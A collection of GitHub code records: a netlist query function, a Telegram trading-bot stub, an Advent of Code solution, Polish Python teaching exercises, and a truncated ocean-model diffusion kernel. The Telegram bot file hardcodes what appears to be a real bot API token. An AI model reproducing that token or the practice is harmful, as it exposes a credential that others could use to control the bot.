+{"seq_id":"19265568057","text":"from spydrnet.ir import (\n Element,\n FirstClassElement,\n InnerPin,\n OuterPin,\n Wire,\n Netlist,\n Library,\n Definition,\n Port,\n Cable,\n Instance,\n)\nfrom spydrnet.util.hierarchical_reference import HRef\nfrom spydrnet.util.patterns import _is_pattern_absolute, _value_matches_pattern\n\n\ndef get_netlists(obj, *args, **kwargs):\n \"\"\"\n get_netlists(obj, ...)\n\n Get netlists *within* an object.\n\n Parameters\n ----------\n obj : object, Iterable - required\n\t\tThe object or objects associated with this query. Queries return a collection objects\n\t\tassociated with the provided object or objects that match the query criteria. For example,\n\t\t`sdn.get_libraries(netlist, ...)` would return all of the libraries associated with the\n\t\tprovided netlist that match the additional criteria.\n patterns : str, Iterable - optional, positional or named, (default: wildcard)\n\t\tThe search patterns. Patterns can be a single string or an Iterable collection of strings.\n\t\tPatterns can be absolute or they can contain wildcards or regular expressions. If\n\t\t`patterns` is not provided, then it defaults to a wildcard. Patterns are queried against\n\t\tthe object property value stored under a specified key. Fast lookups are only attempted on\n\t\tabsolute patterns that are not regular expressions and contain no wildcards.\n key : str, optional, (default: \".NAME\")\n\t\tThis is the key that controls which value is being searched.\n is_case : bool - optional, named, (default: True)\n\t\tSpecify if patterns should be treated as case sensitive. Only applies to patterns. Does not\n\t\talter fast lookup behavior (if namespace policy uses case insensitive indexing, this\n\t\tparameter will not prevent a fast lookup from returning a matching object even if the case\n\t\tis not an exact match).\n is_re: bool - optional, named, (default: False)\n\t\tSpecify if patterns are regular expressions. If `False`, a pattern can still contain `*`\n\t\tand `?` wildcards. A `*` matches zero or more characters. A `?` matches upto a single\n\t\tcharacter.\n filter : function\n\t\tThis is a single input function that can be used to filter out unwanted virtual instances.\n\t\tIf not specifed, all matching virtual instances are returned. Otherwise, virtual instances\n\t\tthat cause the filter function to evaluate to true are the only items returned.\n\n Returns\n -------\n netlists : generator\n\t\tA generator associated with a particular object\n\n \"\"\"\n # Check argument list\n if len(args) == 1 and \"patterns\" in kwargs:\n raise TypeError(\"get_netlists() got multiple values for argument 'patterns'\")\n if len(args) > 1 or any(\n x not in {\"patterns\", \"key\", \"filter\", \"is_case\", \"is_re\"} for x in kwargs\n ):\n raise TypeError(\"Unknown usage. Please see help for more information.\")\n\n # Default values\n filter_func = kwargs.get(\"filter\", lambda x: True)\n is_case = kwargs.get(\"is_case\", True)\n is_re = kwargs.get(\"is_re\", False)\n patterns = (\n args[0] if len(args) == 1 else kwargs.get(\"patterns\", \".*\" if is_re else \"*\")\n )\n key = kwargs.get(\"key\", \".NAME\")\n\n if isinstance(obj, (FirstClassElement, InnerPin, OuterPin, Wire)) is False:\n try:\n object_collection = list(iter(obj))\n except TypeError:\n object_collection = [obj]\n else:\n object_collection = [obj]\n if all(isinstance(x, (Element, HRef)) for x in object_collection) is False:\n raise TypeError(\n \"get_netlists() supports netlist elements and hierarchical references or a collection \\\n of these as the object searched, unsupported object provided\"\n )\n\n if isinstance(patterns, str):\n patterns = (patterns,)\n\n return _get_netlists(object_collection, patterns, key, is_case, is_re, filter_func)\n\n\ndef _get_netlists(object_collection, patterns, key, is_case, is_re, filter_func):\n for result in filter(\n filter_func, _get_netlists_raw(object_collection, patterns, key, is_case, is_re)\n ):\n yield result\n\n\ndef _get_netlists_raw(object_collection, patterns, key, is_case, is_re):\n found = set()\n namemap = {}\n while object_collection:\n obj = object_collection.pop()\n if isinstance(obj, Netlist):\n if obj not in found:\n found.add(obj)\n name = obj.get(key, None)\n if name not in namemap:\n namemap[name] = []\n namemap[name].append(obj)\n elif isinstance(obj, Library):\n netlist = obj.netlist\n if netlist:\n object_collection.append(netlist)\n elif isinstance(obj, Definition):\n library = obj.library\n if library:\n object_collection.append(library)\n elif isinstance(obj, Instance):\n reference = obj.reference\n if reference:\n object_collection.append(reference)\n elif isinstance(obj, Port):\n definition = obj.definition\n if definition:\n object_collection.append(definition)\n elif isinstance(obj, InnerPin):\n port = obj.port\n if port:\n object_collection.append(port)\n elif isinstance(obj, OuterPin):\n inner_pin = obj.inner_pin\n if inner_pin:\n object_collection.append(inner_pin)\n elif isinstance(obj, Cable):\n definition = obj.definition\n if definition:\n object_collection.append(definition)\n elif isinstance(obj, Wire):\n cable = obj.cable\n if cable:\n object_collection.append(cable)\n elif isinstance(obj, HRef):\n if obj.is_valid:\n item = obj.item\n if item:\n object_collection.append(item)\n\n for pattern in patterns:\n pattern_is_absolute = _is_pattern_absolute(pattern, is_case, is_re)\n if pattern_is_absolute:\n if pattern in namemap:\n result = namemap[pattern]\n for netlist in result:\n if netlist in found:\n found.remove(netlist)\n yield netlist\n else:\n yielded = set()\n for netlist in found:\n value = netlist[key] if key in netlist else \"\"\n if _value_matches_pattern(value, pattern, is_case, is_re):\n yielded.add(netlist)\n yield netlist\n found -= yielded\n","repo_name":"byuccl/spydrnet","sub_path":"spydrnet/util/get_netlists.py","file_name":"get_netlists.py","file_ext":"py","file_size_in_byte":6538,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"3"}
+{"seq_id":"1489025862","text":"from telegram import Update\nfrom telegram.ext import ApplicationBuilder, ContextTypes, CommandHandler \n#pip install python-telegram-bot -U --pre\nimport json\nfrom datetime import datetime as dt, timedelta\nimport sys\nimport pandas as pd\nimport time\nimport os\n\nasync def Start(update: Update, context: ContextTypes.DEFAULT_TYPE):\n await context.bot.send_message(chat_id=update.effective_chat.id, text=\"\"\"\\\n Actions:\n \\n/CloseTrade: Select the trades from list to close.\n \\n/FetchMTM: Fetch strategy MTM.\n \"\"\")\n #create async def of FetchMTM in the same way of CloseTrade\n\nasync def CloseTrade(update: Update, context: ContextTypes.DEFAULT_TYPE):\n await context.bot.send_message(chat_id=update.effective_chat.id, text=\"Some Text like /CloseTrade1\\n\\n/CloseTrade2\")\n #CloseTrade1 and 2 are below\n\nasync def CloseTrade1(update: Update, context: ContextTypes.DEFAULT_TYPE):\n #Call the python code here which closes the trade\n await context.bot.send_message(chat_id=update.effective_chat.id, text=\"Trad 1 closed Successfully.\\n\\n/start\")\n\nasync def CloseTrade2(update: Update, context: ContextTypes.DEFAULT_TYPE):\n #Call the python code here which closes the trade\n await context.bot.send_message(chat_id=update.effective_chat.id, text=\"Trad 1 closed Successfully.\\n\\n/start\")\n\nif __name__ == '__main__':\n application = ApplicationBuilder().token('5815892603:AAH8wLQ48y8qasdasdfYUYNQPwCnrFNfFp3E').build() #Bot Token\n start_handler = CommandHandler('Start', Start)\n application.add_handler(start_handler)\n start_handler = CommandHandler('CloseTrade', CloseTrade)\n application.add_handler(start_handler)\n start_handler = CommandHandler('CloseTrade1', CloseTrade1)\n application.add_handler(start_handler)\n start_handler = CommandHandler('CloseTrade2', CloseTrade2)\n application.add_handler(start_handler)\n application.run_polling()\n","repo_name":"USS920/telegram-bot-for-trading","sub_path":"telegrambot.py","file_name":"telegrambot.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"36318535233","text":"from collections import defaultdict\n\nwith open(\"day_3_in.txt\", \"r\") as f:\n content = [line.strip() for line in f.readlines()]\n\n# PART ONE\n\n# counting 1 on possition 1-12\nnumbers = defaultdict(int)\nfor line in content:\n for i, j in enumerate(line):\n numbers[i] += int(j)\n\n\n# constructing gamma/epsilon numbers\ngamma = []\nepsilon = []\nfor number in numbers.values():\n if number > len(content) / 2:\n gamma.append(\"1\")\n epsilon.append(\"0\")\n else:\n gamma.append(\"0\")\n epsilon.append(\"1\")\n\nprint(int(\"\".join(gamma), 2) * int(\"\".join(epsilon), 2))\n\n\n# PART TWO\n\n\ndef filter_most_common(max_content=None):\n if max_content is None:\n max_content = content\n for possition in range(len(content[0])):\n ones = 0\n zeroes = 0\n for line in max_content:\n if line[possition] == \"1\":\n ones += 1\n else:\n zeroes += 1\n if ones < zeroes:\n maximal = \"0\"\n else:\n maximal = \"1\"\n max_content = [line for line in max_content if line[possition] == maximal]\n if len(max_content) == 1:\n return max_content[0]\n\n\ndef filter_least_common(min_content=None):\n if min_content is None:\n min_content = content\n for possition in range(len(content[0])):\n ones = 0\n zeroes = 0\n for line in min_content:\n if line[possition] == \"1\":\n ones += 1\n else:\n zeroes += 1\n if ones < zeroes:\n minimal = \"1\"\n else:\n minimal = \"0\"\n min_content = [line for line in min_content if line[possition] == minimal]\n if len(min_content) == 1:\n return min_content[0]\n\n\noxygen = filter_most_common()\nco2 = filter_least_common()\nprint(int(oxygen, 2) * int(co2, 2))\n","repo_name":"mantomas/ac2021","sub_path":"day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22110654627","text":"def game(n):\n assert type(n) is int\n assert n > 0\n\n i = 0\n c_prev = n\n while n > 0:\n user_number = i%2 + 1\n print(f'Uzytkownik nr: {user_number}')\n\n c = int(input('Podaj liczbę cukierków: '))\n\n if c > n or c <= 0:\n print('Podałeś złą liczbę cukierków. Podaj właściwą liczbę cukierków.')\n continue\n elif c > c_prev:\n print('Nie możesz wziąć więcej cukierków niż poprzedni gracz')\n print(f'Poprzedni gracz wziął {c_prev} cukierków')\n continue\n\n n -= c\n i += 1\n c_prev = c\n print(f'Zostało {n} cukierków')\n print('Koniec gry!')\n print(f'Wygrywa gracz nr {user_number}')\n\n# game(1000)\n#\n# for i in range(5):\n# x = 10*i + i//5\n# print(x)\n# else:\n# print('koniec')\n#\n# for i in range(5):\n# x = 10*i + i//5\n# if x > 20:\n# break\n# print(x)\n# else:\n# print('koniec')\n#\n#\n# # Stwórz listę liczb parzystych od 0 do 100,\n# # wyszukaj w tej liście liczby podzielne zarówno przez 2 jak i 3\n# # i każdą z takich liczb powiększ 100 razy, a zmodyfikowane liczby\n# # umieść w liście w miejsce poprzednich\n# # [0, 2, 4, 600, 8, ..]\n#\n# # sposob 1\n# l = list(range(0, 101, 2))\n# for i in range(len(l)):\n# if l[i] % 3 == 0:\n# l[i] *= 100\n#\n# print(l)\n#\n# # sposob 2\n# l = list(range(0, 101, 2))\n# for idx, el in enumerate(l):\n# if el % 3 == 0:\n# l[idx] *= 100\n# print(l)\n#\n# # sposob 3\n# lista = []\n# for i in range(0,100,2):\n# if i%3==0:\n# z=i*100\n# lista.append(z)\n# else:\n# lista.append(i)\n# print(lista)\n#\n# # sposob 4\n# print('Nowy sposob')\n# print([i*100 if i%3==0 else i for i in range(0, 100, 2)])\n#\n#\n# s = 'Python jest moim ulubionym językiem programowania'\n# s_list = s.split(' ')\n#\n# res = []\n# for i in s_list:\n# i_len = len(i)\n# res.append(i_len)\n#\n# print(s_list)\n# print(res)\n#\n# print([len(i) for i in s_list])\n#\n# print({len(i) for i in s_list})\n#\n# print([(i, len(i)) for i in s_list])\n#\n# print({i : len(i) for i in s_list})\n#\n# DATA = [\n# ('Sepal length', 'Sepal width', 'Petal length', 'Petal width', 'Species'),\n# (5.8, 2.7, 5.1, 1.9, 'virginica'),\n# (5.1, 3.5, 1.4, 0.2, 'setosa'),\n# (5.7, 2.8, 4.1, 1.3, 'versicolor'),\n# (6.3, 2.9, 5.6, 1.8, 'virginica'),\n# (6.4, 3.2, 4.5, 1.5, 'versicolor'),\n# (4.7, 3.2, 1.3, 0.2, 'setosa'),\n# (7.0, 3.2, 4.7, 1.4, 'versicolor')]\n#\n# # for i in DATA:\n# # print(i[0])\n#\n# print({i[4] for i in DATA[1:]})\n# print(max([i[2] for i in DATA[1:]]))\n#\n# s = 'Python jest moim ulubionym językiem programowania'\n# s_list = s.split(' ')\n#\n# res = []\n# for i in s_list:\n# i_len = len(i)\n# if i_len > 6:\n# res.append(i_len)\n#\n# print(s_list)\n# print(res)\n#\n# print([len(i) for i in s_list if len(i)>6])\n# print([[i, len(i)] for i in s_list if len(i)>6])\n# print({i : len(i) for i in s_list if len(i)>6})\n#\n# print(min([i[2] for i in DATA[1:] if i[-1] == 'setosa']))\n#\n# print([f'{i} parzysta' if i%2==0 else f'{i} nieparzysta' for i in range(10)])\n#\n# print((len(i) for i in s_list))\n#\n# gen = (len(i) for i in s_list)\n# #print([i for i in gen])\n#\n# print(next(gen))\n# print(next(gen))\n#\n# print(tuple(len(i) for i in s_list))\n# print(list(len(i) for i in s_list))\n#\n#\n# print(any([True, False, True, True, True]))\n# print(all([True, False, True, True, True]))\n#\n# print(any([i%5==0 for i in range(11)]))\n#\n# ####### FUNKCJE ######\n#\n# def l_stats(l):\n# l_max = max(l)\n# l_min = min(l)\n# l_len = len(l)\n# l_mean = sum(l)/l_len\n# return (l_max, l_min, l_len, l_mean)\n#\n# print(l_stats([-2, 3, 5, 7]))\n#\n# a, b, c, d = l_stats([-2, 3, 5, 7])\n# print(a, b, c, d)\n#\n# a, b, c, _ = l_stats([-2, 3, 5, 7])\n#\n# l = [[1, 3, 'x'],\n# [2, 4, 'x'],\n# [1, 5, 'x']]\n# for el1, el2, el3 in l:\n# print(el1, el2, el3)\n#\n# l = [[1, 3, 'x'],\n# [2, 4, 'x'],\n# [1, 5, 'x']]\n# for el1, el2, _ in l:\n# print(el1, el2, el3)\n#\n# a, b, _, _ = l_stats([-2, 3, 5, 7])\n# print(a, b)\n#\n# a, b, *c = [1, 5, 5, 6, 7, 7, 3, 7]\n# print(a, b, c)\n#\n# *a, b = [1, 5, 5, 6, 7, 7, 3, 7]\n# print(a, b)\n#\n# a, *b, c = [1, 5, 5, 6, 7, 7, 3, 7]\n# print(a, b, c)\n#\n# # a, *b, c = [1]\n# # print(a, b, c)\n#\n# a, *b, c = [1, 2]\n# print(a, b, c)\n#\n# a, *_, c = [1, 5, 5, 6, 7, 7, 3, 7]\n# print(a, c)\n#\n# def list_mult(l, m):\n# return l*m\n#\n# print(list_mult([1, 2, 3], 5))\n#\n# # list_mult([1, 3, 4], 8, 6)\n#\n# def list_mult(l, m=3):\n# return l*m\n#\n# print(list_mult([1, 2, 3], 5))\n# print(list_mult([1, 2, 3]))\n#\n# # def list_mult(m, l=[1, 3], r):\n# # return l*m*r\n#\n# def shopping_list(*args):\n# for a in args:\n# print(a)\n#\n# shopping_list('mleko', 'chleb')\n# shopping_list()\n#\n# def shopping_list(d, *args):\n# print(d)\n# for a in args:\n# print(a)\n#\n# shopping_list('wtorek', 'mleko', 'chleb')\n# shopping_list('wtorek')\n#\n#\n# def norm(p, *args):\n# res = 0\n# for i in args:\n# res += pow(abs(i), p)\n# return pow(res, 1/p)\n# print(norm(2, 1, 3, 4, 5))\n#\n#\n# def list_mult(l, m):\n# return l*m\n#\n# print(list_mult(m=3, l=[1, 3, 4]))\n#\n#\n# def trip(**kwargs):\n# for k, v in kwargs.items():\n# print(f'{k} ma {v} lat')\n#\n# trip(ala=5, kasia=3)\n#\n# def trip(x, **kwargs):\n# print(x)\n# for k, v in kwargs.items():\n# print(f'{k} ma {v} lat')\n#\n# trip('wycieczka', ala=5, kasia=3)\n#\n# def shopping_cost(**kwargs):\n# print(kwargs.keys())\n# return sum(kwargs.values())\n#\n# print(shopping_cost(p1=30, p2=4, p3=5))\n#\n# l123 = 10\n#\n# def f(n):\n# x123 = 2*n*l123\n# return x123\n#\n# print(f(4))\n#\n# def f(n):\n# global l123\n# l123 = 100\n# x123 = 2*n*l123\n# return x123\n#\n# print(f(4))\n# print(l123)\n#\n# def square(x):\n# return x ** 2\n#\n# print(square(5))\n#\n# res = map(square, [1, 2, 3])\n# print(list(res))\n#\n# # lambda x: x+1\n# # lambda x, y: x+y\n#\n# def f(x):\n# return x+1\n#\n# def f1(x, y):\n# return x+y\n#\n# # f = lambda x: (14*x-6)**2\n#\n# res = map(lambda x: (14*x-6)**2, [1, 2, 3])\n# print(list(res))\n#\n# # Wykorzystując funkcje lambda oblicz ile liczb od 1 do 100 jest podzielnych przez 2\n#\n# print(sum(list(map(lambda x: x%2 == 0, list(range(1, 101))))))\n#\n# # 3! = 3*2*1 = 3 * 2!\n#\n# def f(n):\n# res = 1\n# for m in list(range(2, n+1)):\n# res *= m\n# return res\n#\n# print(f(3))\n#\n# def f1(n):\n# if n == 0: return 1\n# else: return n*f1(n-1)\n#\n# print(f1(3))\n#\n# # a_0 = 0\n# # a_1 = 1\n# # a_n = a_(n-1) + a_(n-2)\n#\n# def fib(n):\n# if n <= 1:\n# return n\n# else:\n# return fib(n-1) + fib(n-2)\n#\n# print(fib(13))\n\n\n\n# raise RuntimeError('błąd!')\n\nt = -10\n\n# if t >= 0:\n# print('temperatura jest ok')\n# else:\n# raise ValueError\n\ndef check(t):\n if type(t) not in {float, int}:\n raise TypeError('Temperatura musi być liczbą')\n if t < 0:\n raise ValueError('Temperatura w K nie może być ujemna')\n return t\n\n# check('-10')\n\ndef check(a):\n if not isinstance(a, int):\n raise TypeError('Wiek musi być liczbą całkowitą')\n if a < 0:\n raise ValueError('Wiek nie może być ujemny')\n return t\n\n# check('a')\n\n# name = 'Jonh'\n# name.append('xxx')\n#\n# l = [1, 2, 3]\n# l[100]\n\n# open(r'C:\\\\folder1\\\\folder1\\\\plik.txt') <- scieżka bezwzględna\n# open('plik.txt') # <- scieżka względna\n\n# import detectron2\n#\n# d = {1: 'a', 2: 'b'}\n# d[5]\n#\n# print(xxxxxxxxx)\n#\n# if x==1\n# print('')\n#\n# 3 + 'c'\n#\n# a, b, c = [1, 2]\n\na = 1\nb = 0\n\n# try:\n# a/b\n# except ZeroDivisionError:\n# print('nie mozna dzielic przez 0!')\n#\n# try:\n# a/b\n# except ZeroDivisionError as error:\n# print('nie mozna dzielic przez 0!')\n# print(error)\n#\n#\ndef connect():\n raise ConnectionError('Nie można się połączyć z bazą danych')\n\ntry:\n connect()\nexcept ConnectionRefusedError:\n print('Connection Refused')\nexcept ConnectionResetError:\n print('Connection Reset')\nexcept ConnectionError:\n print('blad')\n#\n# def connect():\n# #pass\n# raise ConnectionError('Nie można się połączyć z bazą danych')\n#\n# try:\n# connect()\n# except (ConnectionRefusedError, ConnectionResetError):\n# print('Connection Refused')\n# except ConnectionError:\n# print('blad')\n# else:\n# print('połaczenie udane')\n# finally:\n# print('połączenie zamknięte')\n#\n# try:\n# l[10000]\n# except:\n# print('jakis blad')\n#\n# try:\n# l[10000]\n# except Exception as e:\n# print('jakis blad')\n# print(e)\n#\n# # try:\n# # l[10000]\n# # except ConnectionRefusedError:\n# # print('jakis blad')\n# # print(e)\n#\n#\n# def convert(d):\n# try:\n# d_conv = int(d)\n# except ValueError:\n# print('niepoprawna wartość')\n# d_conv = None\n# except TypeError:\n# print('niepoprawny typ')\n# d_conv = None\n# finally:\n# print(d)\n# return d_conv\n#\n# convert(print)\n#\n# l = [1, 2, 3]\n# # assert 5 in l, '5 musi być w liście'\n# assert type(l) is list\n# assert all(type(i) is int for i in l)\n#\n# l = [42, 50, 45, 10, 100]\n# for i in l:\n# assert i <= 50, 'Przekroczenie predkosci'\n# print(f'{i} jest OK')\n","repo_name":"joczarnocka/bootcamp","sub_path":"day_2.py","file_name":"day_2.py","file_ext":"py","file_size_in_byte":9151,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22672757032","text":"from veros.core.operators import numpy as npx\nfrom veros import logger\n\nfrom veros import veros_kernel, veros_routine, KernelOutput\nfrom veros.variables import allocate\nfrom veros.core import density, utilities\nfrom veros.core.operators import update, update_add, at\n\n\n@veros_kernel\ndef dm_taper(sx, iso_slopec, iso_dslope):\n \"\"\"\n tapering function for isopycnal slopes\n \"\"\"\n return 0.5 * (1.0 + npx.tanh((-npx.abs(sx) + iso_slopec) / iso_dslope))\n\n\n@veros_kernel\ndef isoneutral_diffusion_pre(state):\n \"\"\"\n Isopycnal diffusion for tracer\n following functional formulation by Griffies et al\n Code adopted from MOM2.1\n \"\"\"\n vs = state.variables\n settings = state.settings\n\n epsln = 1e-20\n\n dTdx = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n dSdx = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n dTdy = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n dSdy = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n dTdz = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n dSdz = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n\n \"\"\"\n drho_dt and drho_ds at centers of T cells\n \"\"\"\n drdT = vs.maskT * density.get_drhodT(state, vs.salt[:, :, :, vs.tau], vs.temp[:, :, :, vs.tau], npx.abs(vs.zt))\n drdS = vs.maskT * density.get_drhodS(state, vs.salt[:, :, :, vs.tau], vs.temp[:, :, :, vs.tau], npx.abs(vs.zt))\n\n \"\"\"\n gradients at top face of T cells\n \"\"\"\n dTdz = update(\n dTdz,\n at[:, :, :-1],\n vs.maskW[:, :, :-1]\n * (vs.temp[:, :, 1:, vs.tau] - vs.temp[:, :, :-1, vs.tau])\n / vs.dzw[npx.newaxis, npx.newaxis, :-1],\n )\n dSdz = update(\n dSdz,\n at[:, :, :-1],\n vs.maskW[:, :, :-1]\n * (vs.salt[:, :, 1:, vs.tau] - vs.salt[:, :, :-1, vs.tau])\n / vs.dzw[npx.newaxis, npx.newaxis, :-1],\n )\n\n \"\"\"\n gradients at eastern face of T cells\n \"\"\"\n dTdx = update(\n dTdx,\n at[:-1, :, :],\n vs.maskU[:-1, :, :]\n * (vs.temp[1:, :, :, vs.tau] - vs.temp[:-1, :, :, vs.tau])\n / (vs.dxu[:-1, npx.newaxis, npx.newaxis] * vs.cost[npx.newaxis, :, npx.newaxis]),\n )\n dSdx = update(\n dSdx,\n at[:-1, :, :],\n vs.maskU[:-1, :, :]\n * (vs.salt[1:, :, :, vs.tau] - vs.salt[:-1, :, :, vs.tau])\n / (vs.dxu[:-1, npx.newaxis, npx.newaxis] * vs.cost[npx.newaxis, :, npx.newaxis]),\n )\n\n \"\"\"\n gradients at northern face of T cells\n \"\"\"\n dTdy = update(\n dTdy,\n at[:, :-1, :],\n vs.maskV[:, :-1, :]\n * (vs.temp[:, 1:, :, vs.tau] - vs.temp[:, :-1, :, vs.tau])\n / vs.dyu[npx.newaxis, :-1, npx.newaxis],\n )\n dSdy = update(\n dSdy,\n at[:, :-1, :],\n vs.maskV[:, :-1, :]\n * (vs.salt[:, 1:, :, vs.tau] - vs.salt[:, :-1, :, vs.tau])\n / vs.dyu[npx.newaxis, :-1, npx.newaxis],\n )\n\n \"\"\"\n Compute Ai_ez and K11 on center of east face of T cell.\n \"\"\"\n diffloc = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n diffloc = update(\n diffloc,\n at[1:-2, 2:-2, 1:],\n 0.25\n * (vs.K_iso[1:-2, 2:-2, 1:] + vs.K_iso[1:-2, 2:-2, :-1] + vs.K_iso[2:-1, 2:-2, 1:] + vs.K_iso[2:-1, 2:-2, :-1]),\n )\n diffloc = update(diffloc, at[1:-2, 2:-2, 0], 0.5 * (vs.K_iso[1:-2, 2:-2, 0] + vs.K_iso[2:-1, 2:-2, 0]))\n\n sumz = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))[1:-2, 2:-2]\n for kr in range(2):\n ki = 0 if kr == 1 else 1\n for ip in range(2):\n drodxe = (\n drdT[1 + ip : -2 + ip, 2:-2, ki:] * dTdx[1:-2, 2:-2, ki:]\n + drdS[1 + ip : -2 + ip, 2:-2, ki:] * dSdx[1:-2, 2:-2, ki:]\n )\n drodze = (\n drdT[1 + ip : -2 + ip, 2:-2, ki:] * dTdz[1 + ip : -2 + ip, 2:-2, : -1 + kr or None]\n + drdS[1 + ip : -2 + ip, 2:-2, ki:] * dSdz[1 + ip : -2 + ip, 2:-2, : -1 + kr or None]\n )\n sxe = -drodxe / (npx.minimum(0.0, drodze) - epsln)\n taper = dm_taper(sxe, settings.iso_slopec, settings.iso_dslope)\n sumz = update_add(\n sumz,\n at[:, :, ki:],\n vs.dzw[npx.newaxis, npx.newaxis, : -1 + kr or None]\n * vs.maskU[1:-2, 2:-2, ki:]\n * npx.maximum(settings.K_iso_steep, diffloc[1:-2, 2:-2, ki:] * taper),\n )\n vs.Ai_ez = update(vs.Ai_ez, at[1:-2, 2:-2, ki:, ip, kr], taper * sxe * vs.maskU[1:-2, 2:-2, ki:])\n\n vs.K_11 = update(vs.K_11, at[1:-2, 2:-2, :], sumz / (4.0 * vs.dzt[npx.newaxis, npx.newaxis, :]))\n\n \"\"\"\n Compute Ai_nz and K_22 on center of north face of T cell.\n \"\"\"\n diffloc = update(diffloc, at[...], 0)\n diffloc = update(\n diffloc,\n at[2:-2, 1:-2, 1:],\n 0.25\n * (vs.K_iso[2:-2, 1:-2, 1:] + vs.K_iso[2:-2, 1:-2, :-1] + vs.K_iso[2:-2, 2:-1, 1:] + vs.K_iso[2:-2, 2:-1, :-1]),\n )\n diffloc = update(diffloc, at[2:-2, 1:-2, 0], 0.5 * (vs.K_iso[2:-2, 1:-2, 0] + vs.K_iso[2:-2, 2:-1, 0]))\n\n sumz = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))[2:-2, 1:-2]\n for kr in range(2):\n ki = 0 if kr == 1 else 1\n for jp in range(2):\n drodyn = (\n drdT[2:-2, 1 + jp : -2 + jp, ki:] * dTdy[2:-2, 1:-2, ki:]\n + drdS[2:-2, 1 + jp : -2 + jp, ki:] * dSdy[2:-2, 1:-2, ki:]\n )\n drodzn = (\n drdT[2:-2, 1 + jp : -2 + jp, ki:] * dTdz[2:-2, 1 + jp : -2 + jp, : -1 + kr or None]\n + drdS[2:-2, 1 + jp : -2 + jp, ki:] * dSdz[2:-2, 1 + jp : -2 + jp, : -1 + kr or None]\n )\n syn = -drodyn / (npx.minimum(0.0, drodzn) - epsln)\n taper = dm_taper(syn, settings.iso_slopec, settings.iso_dslope)\n sumz = update_add(\n sumz,\n at[:, :, ki:],\n vs.dzw[npx.newaxis, npx.newaxis, : -1 + kr or None]\n * vs.maskV[2:-2, 1:-2, ki:]\n * npx.maximum(settings.K_iso_steep, diffloc[2:-2, 1:-2, ki:] * taper),\n )\n vs.Ai_nz = update(vs.Ai_nz, at[2:-2, 1:-2, ki:, jp, kr], taper * syn * vs.maskV[2:-2, 1:-2, ki:])\n vs.K_22 = update(vs.K_22, at[2:-2, 1:-2, :], sumz / (4.0 * vs.dzt[npx.newaxis, npx.newaxis, :]))\n\n \"\"\"\n compute Ai_bx, Ai_by and K33 on top face of T cell.\n \"\"\"\n sumx = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))[2:-2, 2:-2, :-1]\n sumy = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))[2:-2, 2:-2, :-1]\n\n for kr in range(2):\n drodzb = (\n drdT[2:-2, 2:-2, kr : -1 + kr or None] * dTdz[2:-2, 2:-2, :-1]\n + drdS[2:-2, 2:-2, kr : -1 + kr or None] * dSdz[2:-2, 2:-2, :-1]\n )\n\n # eastward slopes at the top of T cells\n for ip in range(2):\n drodxb = (\n drdT[2:-2, 2:-2, kr : -1 + kr or None] * dTdx[1 + ip : -3 + ip, 2:-2, kr : -1 + kr or None]\n + drdS[2:-2, 2:-2, kr : -1 + kr or None] * dSdx[1 + ip : -3 + ip, 2:-2, kr : -1 + kr or None]\n )\n sxb = -drodxb / (npx.minimum(0.0, drodzb) - epsln)\n taper = dm_taper(sxb, settings.iso_slopec, settings.iso_dslope)\n sumx = (\n sumx\n + vs.dxu[1 + ip : -3 + ip, npx.newaxis, npx.newaxis]\n * vs.K_iso[2:-2, 2:-2, :-1]\n * taper\n * sxb**2\n * vs.maskW[2:-2, 2:-2, :-1]\n )\n vs.Ai_bx = update(vs.Ai_bx, at[2:-2, 2:-2, :-1, ip, kr], taper * sxb * vs.maskW[2:-2, 2:-2, :-1])\n\n # northward slopes at the top of T cells\n for jp in range(2):\n facty = vs.cosu[1 + jp : -3 + jp] * vs.dyu[1 + jp : -3 + jp]\n drodyb = (\n drdT[2:-2, 2:-2, kr : -1 + kr or None] * dTdy[2:-2, 1 + jp : -3 + jp, kr : -1 + kr or None]\n + drdS[2:-2, 2:-2, kr : -1 + kr or None] * dSdy[2:-2, 1 + jp : -3 + jp, kr : -1 + kr or None]\n )\n syb = -drodyb / (npx.minimum(0.0, drodzb) - epsln)\n taper = dm_taper(syb, settings.iso_slopec, settings.iso_dslope)\n sumy = (\n sumy\n + facty[npx.newaxis, :, npx.newaxis]\n * vs.K_iso[2:-2, 2:-2, :-1]\n * taper\n * syb**2\n * vs.maskW[2:-2, 2:-2, :-1]\n )\n vs.Ai_by = update(vs.Ai_by, at[2:-2, 2:-2, :-1, jp, kr], taper * syb * vs.maskW[2:-2, 2:-2, :-1])\n\n vs.K_33 = update(\n vs.K_33,\n at[2:-2, 2:-2, :-1],\n sumx / (4 * vs.dxt[2:-2, npx.newaxis, npx.newaxis])\n + sumy / (4 * vs.dyt[npx.newaxis, 2:-2, npx.newaxis] * vs.cost[npx.newaxis, 2:-2, npx.newaxis]),\n )\n vs.K_33 = update(vs.K_33, at[..., -1], 0.0)\n\n return KernelOutput(\n Ai_ez=vs.Ai_ez, Ai_nz=vs.Ai_nz, Ai_bx=vs.Ai_bx, Ai_by=vs.Ai_by, K_11=vs.K_11, K_22=vs.K_22, K_33=vs.K_33\n )\n\n\n@veros_kernel\ndef isoneutral_diag_streamfunction_kernel(state):\n vs = state.variables\n\n K_gm_pad = utilities.pad_z_edges(vs.K_gm)\n\n \"\"\"\n meridional component at east face of 'T' cells\n \"\"\"\n diffloc = 0.25 * (\n K_gm_pad[1:-2, 2:-2, 1:-1] + K_gm_pad[1:-2, 2:-2, :-2] + K_gm_pad[2:-1, 2:-2, 1:-1] + K_gm_pad[2:-1, 2:-2, :-2]\n )\n 